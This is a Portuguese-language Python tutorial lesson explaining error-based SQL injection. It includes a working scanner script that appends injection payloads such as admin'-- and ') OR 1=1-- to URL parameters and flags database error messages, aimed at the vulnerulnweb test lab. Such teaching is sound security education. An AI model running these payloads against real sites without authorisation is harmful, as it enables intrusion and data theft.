Testa parâmetros de URL em busca de erros de banco de dados.
Contexto
O SQL Injection (SQLi) ocorre quando uma aplicação web não sanitiza corretamente as entradas do usuário, permitindo que comandos SQL maliciosos sejam injetados em consultas ao banco de dados.
O objetivo deste módulo é automatizar o teste de vulnerabilidade "baseado em erro". O script envia caracteres especiais (como aspas simples ') para parâmetros de URL e analisa se a resposta do servidor contém mensagens de erro típicas de bancos de dados (como MySQL, PostgreSQL ou Oracle). Se o erro aparecer, a página é um alvo potencial para extração de dados.
Possibilidades de Implementação
- Error-Based Scanning: O método mais rápido. Busca por mensagens como "SQL syntax error" ou "Warning: mysql_fetch_array()".
- Boolean-Based Testing: Envia payloads que resultam em Verdadeiro ou Falso (ex:
OR 1=1) e observa se o conteúdo da página muda. - Payload Injection: Testar múltiplos pontos de entrada, como parâmetros
GET, corpos de requisiçãoPOSTe atéHeaders(como o User-Agent).
Código
Este módulo utiliza a biblioteca requests para interagir com a aplicação web. Ele foca na técnica de detecção por erro em parâmetros de URL.
Requisito: pip install requests
import requests
# Lista de payloads básicos para forçar erros de sintaxe SQL
PAYLOADS = ["'", "\"", "';", "\")", "admin'--", "') OR 1=1--"]
# Lista de erros comuns que indicam vulnerabilidade
SQL_ERRORS = [
"you have an error in your sql syntax",
"warning: mysql",
"unclosed quotation mark after the character string",
"quoted string not properly terminated",
"postgresql query failed",
"oracle error"
]
def scan_sql_injection(url):
"""
Testa cada parâmetro da URL injetando payloads de erro.
"""
print(f"[*] Analisando: {url}")
vulnerable = False
for payload in PAYLOADS:
# Tenta injetar o payload ao final da URL (ajustável para parâmetros específicos)
target_url = f"{url}{payload}"
try:
response = requests.get(target_url, timeout=5)
content = response.text.lower()
# Verifica se algum erro conhecido de SQL está no corpo da página
for error in SQL_ERRORS:
if error in content:
print(f"[!] POSSÍVEL SQL INJECTION ENCONTRADO!")
print(f"[*] Payload: {payload}")
print(f"[*] Erro detectado: {error}")
vulnerable = True
break
if vulnerable: break
except requests.exceptions.RequestException as e:
print(f"[!] Erro de conexão: {e}")
break
if not vulnerable:
print("[-] Nenhuma vulnerabilidade óbvia baseada em erro detectada.")
def main():
print("=" * 60)
print("Módulo: SQL Injection Scanner | Projeto: 30 Lessons in Python")
print("=" * 60)
# URL de exemplo (use apenas em ambientes controlados ou labs como o VulnWeb)
target = "http://testphp.vulnweb.com/artists.php?artist="
scan_sql_injection(target)
if __name__ == "__main__":
main()
Observações
- Falsos Negativos: Muitas aplicações modernas usam WAFs (Web Application Firewalls) que bloqueiam esses erros ou simplesmente não exibem mensagens detalhadas (Blind SQLi). Nesses casos, este scanner básico não detectará a falha.
- Ambiente de Teste: Nunca utilize este script em sites sem autorização. Utilize laboratórios como o DVWA (Damn Vulnerable Web App) ou TryHackMe.
- Melhoria Arquitetural: Para o seu projeto, você pode evoluir este módulo para que ele use a biblioteca
BeautifulSouppara encontrar todos os links e formulários de uma página e testar cada campo automaticamente.